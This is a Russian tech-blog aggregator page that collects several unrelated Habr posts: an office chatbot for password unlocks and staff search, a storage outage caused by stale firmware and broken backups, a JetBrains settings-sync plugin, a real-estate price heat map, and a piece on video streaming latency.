      Например, чат-бот, человек или IVR — это интерфейс данных, пользовательская задача — «закажи переговорку на 15:00». Коннектор — авторизационное звено. Шина выполняет реализацию задачи.

      Ещё возможности


      Ещё один совсем банальный пример того, как бот работает, — это восстановление учётки. Юзеры (а их в офисе около двух тысяч человек) регулярно забывают свои пароли. Либо активируют учётки на нескольких устройствах — телефон, планшет, рабочая станция… А потом либо где-то забыл обновить пароль, либо банально планшет остался дома и ребенок залочил учётку. В общем, момент смены пароля — это головная боль как для самих сотрудников, так и для техподдержки, в которую они часто звонят (особенно по утрам). Теперь бот помогает сделать сброс пароля, точнее, разлочку учётки. При этом операция абсолютно рутинная.

      Поиск по адресной книге:

      Здесь сложный разбор фразы-запроса на поиск контакта внутри компании. Дальше — запрос внутрь HR-службы, где у нас заботливо переписаны все полезные навыки людей на случай новых проектов и срочных обращений. «Пиканиска» — достаточно редкое слово, поэтому поиск по нему очень релевантен и уточнения не требуются. Бот выгружает данные сотрудника, который разбирается в вопросе. Если бы он был онлайн, то можно было бы сразу написать ему. Он оффлайн, и судя по документам того же кадрового отдела — в командировке в Сургуте. Бот проверяет его часовой пояс и выдаёт данные.

      Тут тоже всё относительно просто. Боту можно сказать «напомни мне про обед с Ивановым», и он поставит это в задачи, чтобы вовремя напомнить. Остальные данные доступны в шине.

      Как всё начиналось


      Всё началось с идеи выяснить, что же такое цифровая трансформация, диджитализация и т. д., а то шума на рынке много, а конкретики никакой. Для того чтобы понять, что это, мы решили начать с себя и понять, что же у нас в компании можно «диджитализировать». В ходе «копания темы» мы проработали кучу кейсов для диджитализации, нашли решения, но при этом нам не давала покоя идея «правильного» интерфейса для офисных бизнес-процессов. Про чат-бота мы даже не говорили, в принципе даже не обсуждалось. В какой-то момент поняли, что и подход к взаимодействию c офисными бизнес-процессами тоже надо менять, всё должно быть удобным и обязательно мобильным, и так как 100 мобильных приложений не сделать, то стало понятно, что будущее за естественными интерфейсами, в частности чатами. В частности, есть невероятный китайский пример WeChat — изначально аналога ICQ, который теперь стал и соцсетью, и торговой площадкой, и доской объявлений, и электронной почтой, и вообще всем.

      Ещё боты могут рассказывать базовые вещи из базы знаний корпоративного обучения, искать учебные материалы, показать ближайшие внутренние курсы и семинары, играть в список ачивок с новичками («Получил свои канцтовары», «Нашёл кухню», «Зачекинился в спортзале» и так далее), забронировать комнату отдыха или встать в очередь к игровой консоли там же, получить пароль для гостевого Wi-Fi, узнать номер ДМС, поликлиники по нему, телефон скорой, сообщить офисной медслужбе о травме, записаться к офисной медслужбе, забронировать тренажёр, сообщить о потерянной или найденной вещи (бот потом коннектит людей или скидывает лог секретарю), отправить корпоративные новости, дать разную информацию новым сотрудникам, как жить, предупредить про дни рождения ваших контактов. В дальних планах — проверить длину очереди в столовой по видеоаналитике (обычно от 1 до 15 минут, сейчас это реализовано отдельным информером у нас в офисе), узнать меню на сегодня в столовой или заказать пиццу в офис, найти попутчиков, передать документы. От технической службы в планах — заменить корпоративную SIM-карту, сменить тариф, принять багрепорты на любые вещи вроде «тут на пятом этаже лампа не горит», отправить багрепорт в хозяйственную службу или уборщицам.

      Конечно, основной камень преткновения для всех заказчиков при таком подходе цифровой трансформации офиса — это безопасность (авторизация) пользователей, и второй — место, где хранится вся эта переписка. В случае с нашим ботом переписка хранится в облаке КРОК, на сервере бота, то есть в нашей внутренней инфраструктуре. Вся интеграция между ботом и системами компании идёт через единую интеграционную шину. Соединение с шиной — через универсальный коннектор, который позволяет разделить права доступа на три части: общедоступные части (публичные), для всех сотрудников и для определённых сотрудников.

      Про авторизацию же история долгая и богатая на приключения, поэтому если интересно — расскажу отдельно. Ну, и если есть вопросы не для комментариев — пишите: digital@croc.ru.

      Комментарии (0)

        Let's block ads! (Why?)

        Зачем бэкап? У нас же RAID

        В корпоративные блоги принято писать success story — это положительно влияет на образ компании. К сожалению, не всегда в работе инженера всё заканчивается happy end-ом.
        Надо сказать, что коллеги уже начинают подшучивать, что я «притягиваю» проблемы. Тем или иным образом я поучаствовал почти во всех проблемных заявках за последнее время. И теперь хочу рассказать одну поучительную историю из своей практики.

        История началась с того, что меня попросили проанализировать производительность дискового массива IBM Storwize v7000 gen1, «тормоза» которого парализовали работу целого филиала. Исходная ситуация такая:

        • На массиве находятся датасторы VMware-фермы.
        • Все тома располагаются на RAID5 (диски 7200 и 10000) и зеркалируются между двумя идентичными массивами.
        • Контракта с IBM на поддержку этого оборудования нет.
        • Версия прошивки массива — 7.3.0.4 (актуальная на тот момент 7.6.1.1).
        • Также СХД IBM Storwize используется для виртуализации СХД HP EVA.

        Согласно логам производительности массива, «тормоза» возникали не из-за повышенной нагрузки. Я заподозрил, что причиной проблем является вышедший из строя контроллер на виртуализованной СХД HP EVA. Обычно проблемы с производительностью решаются удалённо, но в данном случае решили отправить инженера на место (тогда ещё никто не подозревал, что командировка затянется на две недели).

        И тут в ходе анализа производительности начал проявляться «полтергейст»: у томов с массива в интерфейсе vSphere периодически отображается неверный объём (от отрицательного до десятков петабайт), что заказчик расценил как проблему в массиве. При этом пропадал доступ к консолям части виртуальных машин, и возникают другие неприятности. Даже я уже начал нервничать, а заказчик просто в ауте.

        И тут начинается просто фейерверк проблем.

        Мы нашли баг ESXi, из-за которого могут отображаться неверные размеры томов. Но выясняется, что официального контракта на поддержку VMware нет. Поддержка осуществляется сторонней компанией и только по рабочим дням, а дело происходит в субботу.

        Для полного счастья, прошивки двух серверов из трёх и коммутаторов (блейд-шасси) отстают от прошивки модуля управления шасси, что тоже может приводить к самым неожиданным проблемам. Ну и вишенка на торте: на коммутаторах SAN стоят разные версии прошивок, и все позапрошлой мажорной версии (6.x.x, когда доступна 8.0.x).

        Напоследок выясняется, что в MS SQL Server Express закончилось свободное место, из-за чего возник «полтергейст» с доступностью консолей VM в vSphere и неверно отображались размеры томов. Так что пока администраторы решали проблемы БД, мы пытались разобраться с СХД.

        После некоторых действий основной том вдруг ушёл в оффлайн.

        Мы вспоминили про баг в прошивках Storwize версий 7.3, 7.4 и 7.5, из-за которого на сжатых томах после определённого количества обращений могут появиться битые блоки (в этой ситуации не может помочь ни отказоустойвость RAID, ни зеркалирование томов на соседний массив, так как ошибка находится уровнем выше).

        И вот тут проявился самый интересный нюанс: оказывается, что СРК у заказчика не работает уже 3 месяца. То есть бэкапы есть, но они не актуальные, и восстанавливаться из них — всё равно, что потерять данные.

        Нам удалось перевести том в онлайн (через CLI массива), но при первой же попытке хоста что-то записать, он снова упал. Мы отключили все датасторы на серверах и следующие сутки провели в офисе, почти не дыша копируя все виртуальные машины куда получится — на серверы, USB-диски и ПК.

        В результате нам удалось спасти все данные, кроме ВМ, на которой запустили консолидацию снапшотов, так как в процессе консолидации LUN ушёл в оффлайн, и вместо данных ВМ осталась «каша». По закону подлости это оказалась ВМ электронного документооборота. Кроме того, для исключения разных рисков пришлось обновить почти всю инфраструктуру — VMware, Brocade, HP Blade, IBM Storwize.

        Предпосылки катастрофы


        Какие выводы может сделать из этой истории уважаемый читатель, чтобы не оказаться в подобной ситуации?
        1. СХД была спроектирована некорректно. Один том на ~12 Тб не будет нормально работать ни на одной классической СХД. Всегда разбивайте общую ёмкость на тома порядка 1-2 Тб. Да, будет меньше полезной ёмкости, но зато будет гораздо меньше шансов открыть заявку «у нас всё тормозит».
        2. Прошивки никогда не обновлялись. Это не единственная история, когда баг в старой прошивке приводил к простоям или потере данных. Да, в новых прошивках тоже есть баги, но вас никто не принуждает пользоваться bleeding edge. Используйте стабильные, рекомендованные версии.
        3. Бэкапы. Сколько было просьб и рекомендаций делать и проверять бэкапы — не счесть. Повторяться не хочется, но ВСЕГДА ДЕЛАЙТЕ И СВОЕВРЕМЕННО ПРОВЕРЯЙТЕ БЭКАП. В этой истории можно было сократить время простоя не менее, чем в два раза, если бы СРК поддерживалась в рабочем состоянии.
        4. Не было вендорской поддержки оборудования. У нас отличные специалисты, с глубоким знанием оборудования, но бывают ситуации, когда помочь может только вендор.
        5. Не мониторилось свободное место в БД. Следите за свободным местом не только на дисках, но и в БД.

        Спасибо за внимание, работы вам без сбоев.

        Алексей Трифонов Tomatos, инженер Сервисного центра компании «Инфосистемы Джет».

        Комментарии (0)

          Let's block ads! (Why?)

          ЦОД: этапы большой жизни

          Emercoin снизит комиссии на транзакции в 100 раз

          понедельник, 14 августа 2017 г.

          Тестируем новый механизм синхронизации настроек JetBrains IDEs

          Привет, Хабр!

          Если вы когда либо работали с JetBrains IDEs с разных компьютеров, вы могли сталкиваться с проблемой, что вам приходилось заново указывать настройки IDE (сочетания клавиш, подсветку синтаксиса, внешний вид, плагины и другие настройки).

          До сих пор эту проблему частично решал встроенный плагин Settings Repository. Для того, чтобы, плагин синхронизировал настройки, необходимо самостоятельно создать Git репозиторий (на GitHub или другом сервисе) и указать его в IDE.

          Очевидным минусом этого подхода является необходимость самостоятельно возиться с Git репозиторием. Не говоря уже о том, что, в случае использования публичного репозитория, ваши настройки могут быть доступны другим пользователям.

          Для того, чтобы сделать процесс синхронизации настроек более удобным и безопасным, мы разрабатываем новый механизм, который частично опирается на Settings Repository, однако использует для хранения настроек репозиторий на стороне JetBrains. Доступ к этому репозиторию осуществляется посредством JetBrains Account (JBA).

          Кроме более удобного способа хранения, новый механизм позволяет синхронизировать не только настройки, но и установленные плагины.

          Что такое JetBrains Account

          JetBrains Account можно использовать для управления лицензиями, доступа к форумам, блогам JetBrains и репозиторию плагинов. Подробнее о том как работает JetBrains Account можно узнать здесь (на английском).

          Доступ к плагину

          Новый плагин называется IDE Settings Sync и совместим начиная с версии 2017.2.1. Учитывая раннюю стадию готовности плагина, доступ к нему можно получить пока только по приглашениям.

          Если у вас уже есть приглашение, вы можете пригласить ваших коллег и друзей через форму на сайте JetBrains Account.

          Если у вас нет приглашения, вы можете попросить его отправив письмо на idea-cloudconfig@jetbrains.com. При этом, письмо должно быть отправлено с почтового ящика, привязанного к вашему JetBrains Account.

          Если у вас нет JetBrains Account, его можно легко создать на сайте JetBrains Account. При создании JetBrains Account, мы рекомендуем указывать тот же почтовый ящик, который указан в данных ваших купленных лицензий.

          Ограничения плагина на данный момент

          Плагин доступен только для платных продуктов (IntelliJ IDEA Ultimate, PhpStorm, PyCharm, CLion, RubyMine, Rider, и т.п.)
          Плагин пока не работает вместе с License Server (мы работаем над этим).

          Чтобы плагин заработал, необходимо

          1. Получить письмо с приглашением

          2. Установить плагин

          3. Авторизоваться в IDE (или Toolbox App) с помощью JetBrains Account

          4. Включить синхронизацию

          5. Отправить приглашение хорошему другу

          Обратная связь

          Учитывая, что плагин все еще находится в активной разработке, возможны ошибки. В случае, если вы столкнетесь с проблемами, пишите нам о них комментариях на странице плагина или напрямую в трекер.

          Я и авторы плагина будем рады ответить на вопросы.

          Программируйте с удовольствием!

          Комментарии (0)

            Let's block ads! (Why?)

            [Из песочницы] Стоимость недвижимости на тепловых картах

            В статье рассказано о процессе создания тепловой карты цен по продаже недвижимости для Москвы и Санкт-Петербурга.


            Тепловая карта цен Москвы


            Меня зовут Дмитрий, я программист из Санкт-Петербурга и у меня есть хобби — это портал по недвижимости которым я занимаюсь в свободное от работы время вот уже почти 5 лет. Сайт авторский, и это дает достаточный уровень свободы для экспериментирования и реализации любых идей на нем. И одной из давних идей было создание тепловой карты цен.


            Если лень читать статью, то потрогать готовый результат можно здесь.


            При обилии сайтов посвященных недвижимости, в рунете нет нормальной карты цен. Есть какие-то не очень внятные карты где районы покрашены в разный цвет, но это все не то. Средняя цена по району мало о чем говорит, есть районы в которых цены различаются на порядок, а то и больше. Идея сделать тепловую карту посещала меня давно, но предвидя сложности браться за это не хотелось — не хватало вдохновения что-ли.


            Как водится, я случайно наткнулся на статью про статистику цен на недвижимость Саратова. Автор описывает именно то что хотел сделать я: карту какой я ее себе представлял. Собственно это меня и вдохновило.


            Инструменты


            В статье есть ссылка на исходники, но я не понимаю в Пайтоне (или в питоне), и цели изучать новый язык у меня не было, так что решил искать если не готовый компонент, то хотя бы что-то что я смогу самостоятельно переписать под .Net.


            В качестве первого компонента для генерации изображения я попробовал то что предлагает Гугл.


            Это оказалось совсем не то что нужно. Тут скорее карты интенсивности — они бы подошли для визуализации плотности объектов на карте, но не для отображения цен. Кроме того, при масштабировании карты точки сливаются становясь более интенсивными — это уж совсем никуда не годится.



            Есть один белорусский сайт где с помощью данного способа реализована карта цен. Можно посмотреть здесь.


            Карта цен resta.by


            Глядя на эту карту кто может сказать, где дороже, а где дешевле? Я не могу. В общем такое… три из десяти.


            Поиски продолжились, и я нагуглил в итоге на стэке вот что: человек задает именно тот вопрос который интересовал меня, а именно, как сделать тепловую карту а не карту интенсивности. И в ответах есть ссылка на JS-библиотеку которая делает то что надо. Для расчетов используется Inverse Distance Weighting. JS — это конечно не шарп, но уже ближе, так что я был очень рад. Особенно после того как “пощупал” все это на jsfiddle и убедился в годности результата. Через несколько часов у меня уже был работающий код на C# (который впоследствии был сильно доработан). Вот ссылка на Гитхаб, если кому надо.


            Данные


            За время работы портала у меня накопилось более 20 миллионов объектов по всей России (архивные объекты сохраняются навсегда).


            Как обработать сырые данные — вопрос не очевидный. Для начала фильтры: объекты по продаже, новостройки и вторичка, причем только квартиры и дома, потому что по ним можно точно рассчитать стоимость квадратного метра, а я собирался именно стоимость метра показывать на карте, как наиболее объективный показатель. Я не люблю аренду, потому что там много мусора. Цены сильно искажены, множество фиктивных объявлений, и т.д. В продаже тоже это все есть, но в меньших масштабах. Кроме того, цены на аренду напрямую зависят от стоимости продажи квартир, так что итоговая карта вполне подходит для визуализации общей картины, если не привязываться к значениям в легенде.


            Всякую коммерцию, участки и паркинги пришлось исключить, но по каждой из этих категорий тоже было бы интересно посмотреть результат, но это как-нибудь потом. Плюс ко всему, наверное не имеет смысла включать туда старые объекты, цены-то меняются. Было решено что за полгода и объем будет нормальный и цены актуальны. Получилось примерно 40 000 объектов для Москвы и 30 000 для Питера.


            Я так и не смог определиться с оптимальным шагом для компоновки объектов в исходную точку на карте. Пробовал разные варианты от 100 метров до 5 км. Решил оставить на усмотрение пользователей три наиболее интересных варианта: 250, 500 и 1000 метров.


            Точки генерируются следующим образом: область рекурсивно делится на 4 прямоугольные секции до тех пор пока размер секции не будет совпадать или чуть-чуть превышать минимальный, либо до тех пор пока в области не останется объектов меньше чем минимально-допустимое количество (например 3). Для секций в которых меньше трех объектов итоговая точка не создается — они искажают общую картину и создают излишнюю “дырявость”, так как часто такие одинокие объекты отличаются по цене от окружающих.


            Heat Map points


            Внутри каждой получившейся секции считается средняя цена по объектам и устанавливается итоговая точка. Координаты устанавливаются не на центр секции а высчитывается среднее значение по координатам всех объектов.


            Для каждого из шагов (250, 500, 1000) генерируется свой набор точек. Для каждой точки запоминается список использованных объектов для отображения по клику на карте.


            Координаты точек в БД хранятся в виде географических данных, поэтому прежде чем передать их в работу, координаты надо привести к мировым, а потом к пиксельным на итоговом битмапе. Что такое мировые координаты можно почитать здесь. Если в двух словах, то географические координаты подразумевают размещение на сфере, и чтобы их отобразить на плоскости их нужно сконвертировать определенным образом. Вот отсюда я взял код для получения мировых и пиксельных коордиат.


            Я решил что ограничу зум на карте от 8 до 14, потому как учитывая минимальный шаг сетки со значениями в 250 метров, ближе нет смысла рассматривать.


            Тайлы


            Я поначалу думал что лучше сделать один большой битмап, а потом разбить его на маленькие фрагменты. Но, в итоге, сделал наоборот — генерируются маленькие фрагменты — тайлы (tile), после чего компонуются для каждого из зумов.


            Теперь чтобы отобразить все на карте надо привязать их к соответствующим координатам. Первое что я нашел в поиске — Ground Overlays.


            После нескольких часов работы я получил вполне себе наглядный результат, но с одной проблемой — жуткие тормоза при навигации по карте. Очевидно работа с большим количеством фрагментов — это не то для чего нужен данный механизм.


            Стал гуглить дальше и нашел Tile Overlays — это оказалось в итоге то что нужно. Суть такова: для каждого из уровней приближения карты (zoom index) итоговое изображение компонуется из плиток 256 на 256 пикселей, для каждой из которых можно наложить поверх свое изображение. При навигации по карте подгружаются только те тайлы которые попадают в видимую область и соответствуют значению zoom index.


            Границы регионов


            Сами координаты границ регионов у меня всегда были, так что это немного облегчило работу. При генерации каждого из тайлов проверяется не нужно ли его обрезать, и если нужно — то обрезаю, делая непопадающую область прозрачной.


            Увидев результат я подумал что пользователей мало интересуют официальные границы, и, возможно им было бы полезнее видеть и близлежащие области тоже. Пришлось нарисовать свои границы для карт захватывающие как непосредственно города (Москву и Питер) так и ближайшие области. Количество объектов выросло в несколько раз. Теперь их стало около 140 и 50 тысяч для Москвы и СПб соответственно.


            Москва:


            Moscow Area


            Санкт-Петербург:


            SPB Area


            Для рисования границ и получения их координат я использовал чей-то готовый код в codepen.io с небольшими изменениями. Вот ссылка для Москвы и Питера. После изменения какой-нибудь из точек на карте в окошко снизу вставляется список географических координат в виде удобном для вставки в БД.


            Позже обнаружилась такая проблема: бывают ситуации когда области с разными ценовыми категориями расположены настолько близко что попадают в один сегмент и для них считается средняя цена. Например в Питере есть Каменный и Крестовский острова, где продается только элитная недвижимость, а через реку шириной в 300 метров — обычный район с хрущевками. Разница в цене — более чем на порядок (98 т.р. против 1200 т.р.).


            Kamenny island


            На рисунке Каменный остров, и красными точками обозначены объекты с двух сторон от него попавшими в итоговую секцию при шаге в 1000 метров. Это сильно влияет на среднюю цену в позиции и искажает общую картину.


            Решение было такое: выделить некоторые секции и при компоновке объектов, попавшие в секцию объекты не должны смешиваться с объектами непопавшими, либо попавшими в другую секцию. Для Питера я выделил также острова.


            SPB separated areas


            Точность тут не важна. Главное — чтобы не было пересечений между областями.


            Выбор цветов


            Я сделал настраиваемым процесс генерации тепловой карты так чтобы можно было выбирать цвета, настраивать количество уровней, и т.д.
            Например для области в 500 на 500 пикселей с установленными 6 точками со значениями от -100 до 100 можно получить такие варианты.


            Тестовые точки со значениями:


            TestPoints


            Те же данные на карте с уровнями:


            MapWithTestPoints


            Без ограничения по цветам и с разбивкой по уровням:



            С ограничением по цветами и без уровней:



            С заданными вручную цветами:



            После долгих и мучительных экспериментов предпочтение было отдано собственному набору цветов (позаимствовал здесь) которые захардкодил в класс как дефолтный набор.


            Результат при шаге в 500 метров выглядит так:


            500m Map


            Производительность


            Чтобы сгенерировать карту только для Москвы при параллельных 6 потоках (на восьмиядерном сервере 3,2 GHz) требовалось более суток. Это совсем неприемлемо, потому что в перспективе регионов будет больше и запуск должен происходить по расписанию, как минимум раз в неделю.


            Узкое место в алгоритме — высчитывание цвета для каждого пикселя в тайле. Нужно отсортировать все точки по расстоянию от данного пикселя. То есть массив из 6000 точек приходилось сортировать 256х256 раз. Бессмысленная трата ресурсов. Очевидно, что все точки не нужны, и можно ограничиться ближайшими. Самое простое решение взять, например топ 100 точек отсортированных по расстоянию от центра тайла. Но тут может быть ситуация когда ближайшие 100 точек находятся в группе, например с одной только стороны. Т.е. нужны не просто 100 ближайших, а так чтобы они еще и были расположены вокруг. Вот что я сделал: из середины тайла во все стороны с шагом в 10 градусов распространяются лучи каждый длиной в треть всей карты. Каждый луч растет до тех пор пока в нем не будет как минимум 5 точек, либо он не достигнет предела по длине. Таким образом, гарантированно в итоговом списке будет примерно 150 точек со всех сторон.


            Выглядит это так (зеленые точки — которые попали в выборку, красные — все остальные. Красный квадратик в середине — это непосредственно тайл):


            Bicycle


            Красиво, интересно и залипательно, но абсолютно бесполезно. Велосипед, в классическом его проявлении. Я потратил целый выходной день экспериментируя с параметрами: количеством лучей, их длиной, количеством точек в каждом луче, и т.д. И всегда я получал ошибки на карте.


            Выглядят они так:



            Это угловатости на областях границы которых должны быть всегда округлыми. Ошибки эти появляются всегда в местах с низкой концентрацией данных.


            В итоге, весь этот механизм пришлось выкинуть. Лучше всего работает самый простой и очевидный способ — 100 ближайших точек без учета тех которые в самом тайле. Хоть ошибки и остались на карте, но они в местах которые, я надеюсь, мало интересны людям, ибо там почти ничего не продается.


            Скорость работы выросла в разы. На Москву уходит около 3 часов, из них около часа только на обработку данных, остальное непосредственно на рисование.


            Просмотр объектов


            При клике по карте выбирается ближайшая к месту клика точка, и для нее отображается сводная информация: средняя цена за метр и список объектов использованных для расчета. Также, красными точками на карте отображены координаты этих объектов. По ссылке можно зайти в карточку каждого для более подробной информации. Многие объекты являются архивными, так что для них могут не отображаться фотографии и контакты продавца, а в остальном — вся информация соответствует изначальной.


            Display points


            Заключение


            В ближайшее время я планирую увеличить количество объектов на карте, потому что большая часть их в БД не имеет географических координат. Для этого надо сделать модуль геолокации который будет ежедневно проходить по таким объектам получая для них координаты по адресу через сервисы Гугл или Яндекс.


            Также я планирую дополнить карту некоторой статистической информацией в виде табличных данных. Разбивка по ценовым категориям, средние цены и т.д.


            Ссылки


            На всякий случай дублирую ссылки здесь в том же порядке в каком они указаны в статье.



            PS


            При навигации по карте сейчас примерно раз в 10-15 секунд происходит небольшое зависание, это не у меня на сайте баг, так ведет себя новый Вебвизор Метрики. В Яндекс я уже написал — они сказали что им нужно время чтобы разобраться. Так что, в скором времени, надеюсь починят.

            Комментарии (0)

              Let's block ads! (Why?)

              Ой, у меня задержка

              К нам часто приходят с такой проблемой, но надо сразу уточнить: обычно это мужчины, а мы занимаемся доставкой видео.

              О чём же речь? Речь о сокращении задержки между тем, когда что-то происходит перед камерой и тем, когда это дойдет до зрителя. Понятно, что трансляция лекции по квантовой физике будет доходить дольше, чем комеди-клаб, но мы всё же занимаемся техническими деталями.

              Прежде чем переходить к обсуждению задержек (оно же latency, delay), надо ответить на очень важный вопрос: а зачем вообще их сокращать. Сокращать задержку хочется почти всегда, но требуется не всегда.

              Так, например, прямой эфир с острополитическим ток-шоу в принципе стоит минуты на 3 придержать от прямого эфира, что бы можно было оперативно отреагировать на резкое развитие дискуссии, а вот вебинар или удаленное управление беспилотником требует минимальной задержки чтобы люди могли спокойно перебивать друг друга, а груз падал ровно в цель.

              Прежде чем двигаться дальше, давайте зафиксируем один важный факт: уменьшение задержек при трансляции видео и аудио — это дорого, причем нелинейно дорого, поэтому в какой-то момент нужно остановиться на требуемой задержке, а для этого надо вернуться назад и понять: зачем нужно её сокращать.

              Такое вступление не просто так. Мы проводили опрос среди наших клиентов, так выяснилось наличие противоречивого желания: те, кто занимаются вещанием телеканалов хотят стриминга с низкой задержкой. Зачем — никто не объяснил, просто хочется.

              Формирование задержки

              Давайте разберемся, как формируется задержка при передаче видео. Примерная схема доставки видео сигнала (схема видеотракта) следующая:

              1. с сенсора камеры снимается изображение в видеопамять
              2. видео энкодер кладет сырое изображение в буфер кодирования
              3. алгоритм сжатия видео находит оптимальный способ компрессии нескольких видео кадров в буфере
              4. сжатый видеокадр отправляется в серверный буфер доставки видео (если такой есть)
              5. видеокадр передается по UDP или копируется в ядерный буфер TCP для отправки
              6. байты долетают до клиента и складываются в ядерный буфер приемки сетевых данных
              7. доходят до клиента
              8. возможно складываются в буфер сортировки кадров
              9. оттуда складываются при необходимости в буфер компенсации флуктуации скорости сети
              10. из него отправляются в декодер, который накапливает свой буфер для b-frames
              11. декодер декодирует кадр и отправляет его на отрисовку

              Это примерная схема, в некоторых случаях какие-то детали выкидываются, где-то добавляются ещё буферы. Но в целом, мы видим: буферы, буферы, ещё раз буферы, опять буферы.

              Почему? Да потому что буферизация — это обычный способ снизить стоимость, повысить общую пропускную способность. Есть ещё один момент: буфер помогает сгладить колебания. Колеблется скорость передачи по сети – не беда, закачаем на старте побольше байт/кадров и пока интернет восстанавливается, будем играть то, что лежит в буфере.

              Т.е. отметим достаточно упрощенный тезис: буферы нужны для оптимизации за счёт пакетной обработки данных и для компенсации колебаний характеристик видеотракта.

              Что бы уменьшить задержку между происходящим и тем, что видит зритель, надо планомерно работать на каждом этапе.

              Детали

              Снятие с сенсора

              Вроде бы пустяк, но в старом добром аналоговом телевидении можно начинать проигрывать на телевизоре строчку ещё до того, как её закончили снимать (кстати, тут я утрирую, но будет интересно узнать, как оно на самом деле).

              Но если разобраться, то можно понять, что сенсор сегодня — это 2 мегапикселя минимум, а то и больше. К нему приделан вовсе не Intel Xeon, а минимально справляющаяся железяка, которая на просто перекопирование данных тратит время.

              Насколько мне известно, на сегодняшний день нет широко распространенных технологий передачи видео, позволяющих работать с сырым видео в пиксельно потоковом режиме. Т.е. пока с сенсора не снимется весь кадр, с ним ничего делать нельзя.

              Точную оценку по задержке здесь дать не готов.

              Буфер кодирования

              Энкодер занимается крайне ресурсоёмкой задачей, а так же жутко нагружает шину передачи данных между памятью и процессором. Ему надо перебрать разные комбинации вариантов сжатия видео, найти разницу между соседними кадрами и сделать кучу сложных математических вычислений. Учитывая, что FullHD видео на 25 кадрах в секунду — это порядка гигабита в секунду (100 мегабайт), нагрузка огромная. Но просьба не совершать классическую ошибку и не путать нагрузку на процессор с задержкой. Время, которое уходит на сжатие кадра всё равно меньше 1/fps (иначе уже можно не дергаться, всё равно ничего не получится), а задержку энкодер создает гораздо больше.

              Дело в том, что энкодер накапливает в буфере несколько подряд идущих сырых кадров для того, что бы выдать как можно меньший битрейт с как можно большим качеством. Задачи для которых тут создается буфер такие:

              • поддержание среднеровного битрейта потока. Если в одном кадре очень хочется сделать качество получше, значит на остальных кадрах надо постараться поджаться
              • выбор оптимальных кадров, на которые можно ссылаться. Иногда так бывает, что стоит сослаться не на предыдущий кадр, а на следующий. Таким образом возникают перестановки кадров и экономия трафика до 15-20%

              С этой задержкой можно играть, но прежде всего это будет приведет к росту битрейта. Есть хороший пост на покинувшем нас сайте от автора libx264 о low latency кодировании. Вот это оно.

              Итого, здесь можно справиться за 1-2 кадра (по 40 мс каждый), а можно и потратить до 3-5 секунд, но сэкономить битрейт.

              Помните, я вначале сказал, что за низкую задержку прийдется платить? Вот уже можно начинать платить битрейтом.

              Буфер на сервере

              Едва ли не самый частый вопрос нам про задержку: «у меня очень большая задержка при вещании через HLS, где у вас убрать буфер на сервере».

              На самом деле серверная буферизация вполне бывает, например при упаковке mpegts очень хочется подождать с отправкой аудиокадров, что бы положить несколько кадров в один PES пакет. Или при упаковке таких протоколов, как HLS или DASH вообще надо ждать по несколько секунд.

              Важный момент здесь: например в mpegts любят упаковывать в один PES кадр несколько аудиокадров. Теоретически можно открыть PES пакет, начать в него писать то что есть и слать это в сеть, потом послать видеокадр, а потом продолжить с другим видеокадром. Но здесь есть обычная проблема: в аудио PES кадре идет его длина, значит надо накопить аудио. Накопить, означает буфер, означает рост задержки.

              Некоторые серверы буферизуют кадры даже при использовании покадровых протоколов типа RTMP для того, что бы сократить использование CPU, ведь послать один раз 100 килобайт дешевле, чем 2 раза по 50.

              Т.е. здесь всё напрямую зависит от протокола: если у нас на сервере HLS или DASH, то буферизация хотя бы сегмента (1-10 секунд) неизбежна. Если покадровый протокол, то не нужно, смело можно рассылать кадры всем клиентам по одному, но всё равно так делают редко.

              Если мы получаем откуда-то например RTP (с камер RTSP/RTP), то теоретически можем раздавать клиентам сразу RTP пакеты по их получению. Это даст чумовое снижение задержки меньше одного фрейма. На практике этот подход реализуется редко, потому что создает огромную сложность программирования и резко сужает вариативность использования софта. Чаще всего видеостриминговые серверы работают с кадрами, очищенными от контейнеров и протоколов.

              Здесь есть маленькая деталь: существует инициатива CMAF low latency. Суть идеи в том, что когда приходит опорный кадр (он же keyframe), то сервер анонсирует новый сегмент всем клиентам. Все клиенты срочно начинают его скачивать и тут они получают кадр за кадром через http progressive download.

              Таким образом получается и передача файлов с их кешированием на промежуточных CDN-ах, и возможность получать кадры без задержки при подключении к серверу, умеющему раздавать такое без буферизации.

              Это пока инициатива и в разработке, но может стать интересным.

              Итого: от кадрового буфера на сервере можно в принципе и отказаться, если пользуемся не HLS, но даже если HLS, то при особых условиях можно что-то и придумать.

              Сетевой буфер на отправку

              Мы подошли к самой мякотке, камню преткновения и бесконечных метаний видеодоставки: UDP или TCP? Потери или непредсказуемые задержки? Или может совместить?

              В теории, в идеальном мире, где нет неудачных роутеров, UDP проходит со скоростью прохождения пинга или теряется, а TCP может тормозить отправку.

              Как только начинаем слать видео по TCP, возникает вопрос не только о выборе протокола, дающего возможность порезать поток на кадры, а ещё и размерах выходных буферов в ядре. Чем больше ядерный буфер, тем проще софту рассылать и тем меньше можно сделать переключений контекста. Опять за счёт роста задержки.

              Увеличиваем ядерные буферы и быстро теряем контроль за скоростью скачивания — становится тяжело контролировать отправку кадров и на сервере становится непонятно: клиент скачивает видео или уже нет.

              Если шлем по UDP, то надо решать, чего делать с потерей пакетов. Есть вариант с повторной пересылкой UDP пакетов (эдакий недо-TCP), но он требует буферизации на клиенте (см ниже). Есть вариант с организацией чего-то типа RAID-5 поверх сети: в каждый udp пакет кладется избыточность, позволяющая восстановить один пакет из, скажем, 5 (см FEC, Fountain Codes и т.п.). Это может требовать роста задержки на сервере для вычисления такой избыточности, а так же поднимает битрейт на 10-30%. Считается, что избыточность не требует экстра буфера на клиенте, или по крайней мере он будет 1-2 кадра, но не 5 секунд (125 кадров)

              Есть более изощренный вариант: кодировать видео в H264 SVC, т.е. в один пакет положить данные для восстановления самого плохого качества кадра, в следующий данные для улучшения качества и так далее. Потом эти пакеты маркируются разным уровнем ценности и умный хороший добрый роутер по пути непременно догадается и начнет выкидывать самые ненужные кадры, плавно снижая качество.

              Вернемся в реальный мир.

              С FEC есть как хорошие обещания так и реалии от гугла: «XOR FEC не работает». Пока непонятно и непонятно уже очень давно. С другой стороны в спутникой доставке FEC давно используется, но там нет никакого другого контроля за ошибками.

              С SVC всё хорошо, кроме того, что он никак не взлетит. Напоминает JPEG2000 или вейвлеты: всем хороши, но что-то вот не хватает для покорения мира. По факту используется в закрытых реализациях видеоконференций, где под контролем сервер и клиент, но сходу этим механизмом воспользоваться не получается.

              R-UDP по факту сложен, замещает собой TCP, используется редко и хорошо применим там, где подойдет и HLS с его 30 секундами задержки. Есть опасность ввязаться в перереализацию TCP, что можно считать практически нерешимой задачей.

